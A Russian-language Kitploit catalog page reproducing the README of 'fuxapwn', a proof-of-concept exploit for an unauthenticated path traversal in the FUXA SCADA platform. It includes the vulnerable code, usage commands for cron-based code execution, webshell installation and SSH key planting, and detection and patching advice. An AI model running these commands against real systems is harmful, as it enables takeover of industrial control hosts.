Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hann1bl3l3ct3r/fuxapwn
Повышение привилегийРазведкаМеханизмы персистентностиАнализ уязвимостейЭксплуатацияЛатеральное перемещениеБезопасность SCADA/ICSЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеРазработка Полезной Нагрузки
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
hann1bl3l3ct3r/fuxapwn

FUXAPWN

POC-эксплойт для CVE-2026-25895 FUXA: неаутентифицированный Path Traversal -> произвольная запись файлов -> RCE

Репозиторий
Поделиться

CVE-2026-25895 — FUXA <= 1.2.9: неаутентифицированный обход пути (Path Traversal), ведущий к удалённому выполнению кода

Неаутентифицированная (pre-auth) произвольная запись файлов в FUXA — SCADA/HMI-платформе на базе Node.js. Цепочка доводится до удалённого выполнения кода через несколько отдельных примитивов, срабатывающих после записи. Работает даже при secureEnabled = true (при включённой аутентификации), поскольку у уязвимой конечной точки нет подключённого middleware.

Также доступно на ExploitDB: https://www.exploit-db.com/exploits/52568

ПолеЗначение
CVE IDCVE-2026-25895
Затронутые версииFUXA <= 1.2.9
Исправлено вFUXA 1.2.10
Вендорfrangoteam / FUXA
Вектор атакиСеть (HTTP/HTTPS)
АутентификацияНе требуется
ВоздействиеПроизвольная запись файлов, удалённое выполнение кода
CVSS v3.19.8 (Критический) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ИсследовательAnthony Cihan (Hann1bl3L3ct3r)

Сводка

Конечная точка FUXA POST /api/upload (server/api/projects/index.js:193) регистрируется без middleware, в обход как проверки JWT/API-ключа secureFnc, так и шлюза прав администратора, применяемого ко всем остальным конечным точкам управления проектами. Внутри обработчика поле destination из тела JSON конкатенируется в путь файловой системы только с ведущим подчёркиванием и без какой-либо нормализации или проверки на выход за пределы каталога:

root@kitploit:~
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath          = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);

Значение destination вида a/../../../../../etc (где a поглощает ведущее подчёркивание) заставляет path.resolve в Node подняться за пределы appDir в любое место, в которое может писать процесс FUXA. Поскольку перед fs.writeFileSync выполняется условный вызов fs.mkdirSync(dir, { recursive: true }), атакующий также может создавать родительские каталоги по мере необходимости.

В результате получается неаутентифицированный примитив произвольной записи файлов, доступный на стандартном HTTP-порту (1881) и эксплуатируемый до аутентификации независимо от того, включил ли администратор FUXA вход в систему.

Воздействие

Неаутентифицированный удалённый атакующий может:

  • Записать или перезаписать любой файл, доступный учётной записи службы FUXA
  • Заменить settings.js, чтобы добиться выполнения кода при следующем перезапуске FUXA
  • Добавить задание cron (/etc/cron.d/<file>) для выполнения кода в течение 60 секунд, если FUXA запущен от имени root (по умолчанию в Docker-образе вендора)
  • Установить HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node)
  • Добавить открытые ключи SSH в /root/.ssh/authorized_keys или ~/.ssh/authorized_keys любого пользователя
  • Перечислить локальную учётную запись, под которой запущен FUXA, и другие учётные записи на хосте через побочный канал на уровне файловой системы

Это находка критической степени тяжести, эксплуатируемая до аутентификации, на ICS/SCADA-платформе, используемой для управления промышленными процессами.

Затронутые версии

ВерсияСтатус
<= 1.2.9Уязвима
1.2.10+Исправлена

Эксплуатация подтверждена на чистой установке FUXA 1.2.9 на Ubuntu Server.

Доказательство концепции (PoC)

Однофайловый скрипт на Python 3 с одной сторонней зависимостью (requests).

root@kitploit:~
pip install requests
python3 fuxapwn.py --help

Быстрая неаутентифицированная разведка

Определите пользователя ОС, под которым работает сервис, доступность Node-RED и любые другие учётные записи на хосте, не записывая ничего необычного:

root@kitploit:~
python3 fuxapwn.py -u http://target:1881 --mode recon \
    --probe-root --probe-home

Подтверждение примитива записи

Запишите нейтральную метку /tmp/healthcheck (без специфичных для CVE индикаторов компрометации в имени файла или содержимом):

root@kitploit:~
python3 fuxapwn.py -u http://target:1881 --mode canary

RCE за один выстрел

Если FUXA работает от имени root, поместите файл cron, который сработает в течение 60 секунд без необходимости перезапуска FUXA:

root@kitploit:~
python3 fuxapwn.py -u http://target:1881 --mode cron \
    --cron-cmd 'id > /tmp/fx.txt 2>&1'

Постоянный веб-шелл через замену settings.js

Установите HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) (активируется при следующем холодном запуске, поскольку require() кэширует модули), затем перейдите в интерактивный REPL после перезапуска FUXA:

root@kitploit:~
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
    --appdata /opt/FUXA/server/_appdata --ws-port 31337

# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
    --ws-host target --ws-port 31337 \
    --ws-path /_abc123 --ws-token <printed-above> --interact

Режимы работы

Полная справка по флагам для каждого режима: python3 fuxapwn.py --help.

Технические примечания

Неаутентифицированная утечка конфигурации

GET /api/settings (server/api/index.js:103) регистрируется без middleware и возвращает актуальную конфигурацию выполнения, слегка отредактированную (сервер удаляет secretCode и smtp.password перед отправкой). Остальные поля раскрывают абсолютные пути (appDir, workDir, userSettingsFile, logsDir, uploadFileDir), которые обычно идентифицируют служебного пользователя, а также nodeRedEnabled — прямой признак вторичного пути неаутентифицированного RCE (см. ниже).

Определение пользователя, под которым запущен сервис, на установках без root и Docker

Когда FUXA запускается через npm start под локальной учётной записью, пути установки не содержат имени пользователя (например, установка расположена в /opt, /tmp или общем /app), а /root/ недоступен для записи, PoC переключается на перебор /home/<candidate>/ с записью нулевых байтов.

Обработчик загрузки FUXA перед fs.writeFileSync условно вызывает fs.mkdirSync(parent, { recursive: true }), что порождает неоднозначность EACCES: несуществующий /home/<user>/ завершается ошибкой EACCES на этапе mkdir (процесс не может создавать каталоги внутри принадлежащего root /home/), тогда как существующий /home/<other>/ с правами 0700 завершается EACCES уже на самой записи. Тот же errno — другой смысл. PoC устраняет неоднозначность, разбирая токен syscall из переданного сервером err.message (формат libuv "<CODE>: <reason>, <syscall> '<path>'"), и сообщает о «существовании другого пользователя» только при EACCES на открытии (или любом syscall, отличном от mkdir). Это исключает список ложноположительных кандидатов для бокового перемещения, который дала бы наивная проверка только по errno.

Вторичный путь RCE через Node-RED

Если в утёкших настройках nodeRedEnabled = true, встроенные административные конечные точки Node-RED в FUXA (/nodered/flows/deploy и т. д.) доступны без аутентификации из-за проверки по белому списку заголовка Referer (node-red/index.js:134-136), которая принимает любой запрос, чей Referer содержит /editor, /viewer или /lab. Это даёт мгновенный неаутентифицированный RCE через узел функции (function node) без необходимости перезапуска. Режим recon помечает это условие; операторам следует предпочитать именно этот путь при его наличии.

Полезные нагрузки settings.js сохраняют конфигурацию цели

При создании замены settings.js (режимы settings-rce и webshell) PoC сначала получает актуальную конфигурацию через /api/settings и сериализует её в JSON как тело module.exports (JSON — это допустимое подмножество литералов объектов JavaScript). Это сохраняет uiPort, allowedOrigins, secureEnabled и другие параметры выполнения цели, поэтому приложение продолжает нормально работать после замены. PoC явно предупреждает, если на цели заданы secureEnabled = true или блок smtp, поскольку серверная редакция удаляет secretCode (будет применён резервный механизм JWT) и smtp.password (почта перестанет работать, пока данные не будут восстановлены вручную).

Обнаружение / Индикаторы

  • Записи журнала доступа HTTP: POST /api/upload из неаутентифицированных источников, особенно со значениями destination, содержащими .. или абсолютные пути файловой системы в ответе
  • GET /api/settings из неаутентифицированных источников (обычно используется только аутентифицированным веб-интерфейсом)
  • Файлы, соответствующие /tmp/healthcheck*, /tmp/.fuxa-probe-* или /home/*/.fuxa-probe-* (имена файлов-меток canary и проверки по умолчанию — PoC позволяет переопределять их, чтобы избежать очевидных IOCs, поэтому их отсутствие не исключает эксплуатацию)
  • Изменённые временные метки у settings.js, /etc/cron.d/* или ~/.ssh/authorized_keys, не соответствующие действиям администратора
  • Новые прослушиватели на хосте FUXA, привязанные к неожиданным портам (режим webshell привязывает настраиваемый порт внутри процесса Node)

Рекомендации по защите

  • Обновитесь до FUXA 1.2.10 или новее. В исправленном выпуске конечная точка /api/upload защищена стандартной цепочкой middleware.
  • Сегментируйте управляющий интерфейс FUXA на сетевом уровне. HMI-интерфейсы ICS/SCADA не должны быть доступны из недоверенных сетей.
  • Если немедленное обновление невозможно, разместите перед FUXA обратный прокси, блокирующий неаутентифицированные запросы к /api/upload и /api/settings.
  • Запускайте FUXA под выделенной непривилегированной служебной учётной записью. Это не предотвращает эксплуатацию, но значительно уменьшает радиус поражения (нет записи в /root/, нет записи в /etc/cron.d/, нет общесистемного закрепления через cron).
  • Отключите Node-RED (nodeRedEnabled = false), если он не используется активно.

Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-25895
  • Вендор: https://github.com/frangoteam/FUXA
  • Патч: выпуск FUXA 1.2.10
  • Уязвимый исходный код: server/api/projects/index.js:193 в FUXA 1.2.9

Авторство

Исследование, PoC и описание: Anthony Cihan (Hann1bl3L3ct3r), руководитель направления наступательной безопасности (Offensive Security).

Авторизация и правовая информация

Этот репозиторий содержит работоспособный эксплойт-код для критической уязвимости в продукте класса ICS/SCADA. Он опубликован в соответствии с принципами ответственного раскрытия (responsible disclosure), после выпуска патча вендором, на благо защитников (авторов средств обнаружения, специалистов по реагированию на инциденты) и авторизованных специалистов по тестированию безопасности.

Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование этого кода против сторонних систем незаконно в большинстве юрисдикций и будет расценено автором соответствующим образом. Автор не несёт ответственности за неправомерное использование.

Если вы оператор FUXA и хотите проверить уровень вашего патча на соответствие данному PoC в контролируемых условиях, свяжитесь с автором.

Лицензия

Выпущено в целях авторизованного тестирования безопасности и оборонительных исследований. Полные условия см. в LICENSE.

Скачать инструмент
РежимНазначение
reconНеаутентифицированная утечка информации через GET /api/settings; определяет пользователя ОС, под которым работает сервис, по абсолютным путям; сообщает статус Node-RED; опциональные активные проверки --probe-root и --probe-home
canaryПодтверждение примитива записи файлов с нейтральным путём по умолчанию
settings-rceЗаменяет settings.js полезной нагрузкой, выполняющей настраиваемую команду при следующем холодном запуске FUXA
ssh-keyЗаписывает открытый ключ в authorized_keys целевого пользователя
dropПроизвольная запись файла в любой абсолютный путь
cronЗаписывает /etc/cron.d/<name> для получения RCE в течение 60 секунд без ожидания перезапуска FUXA (требуется запуск FUXA от имени root)
webshellУстанавливает HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) через замену settings.js (активируется при следующем холодном запуске)
webshell-execКлиент для уже установленного веб-шелла; одиночная команда или REPL через --interact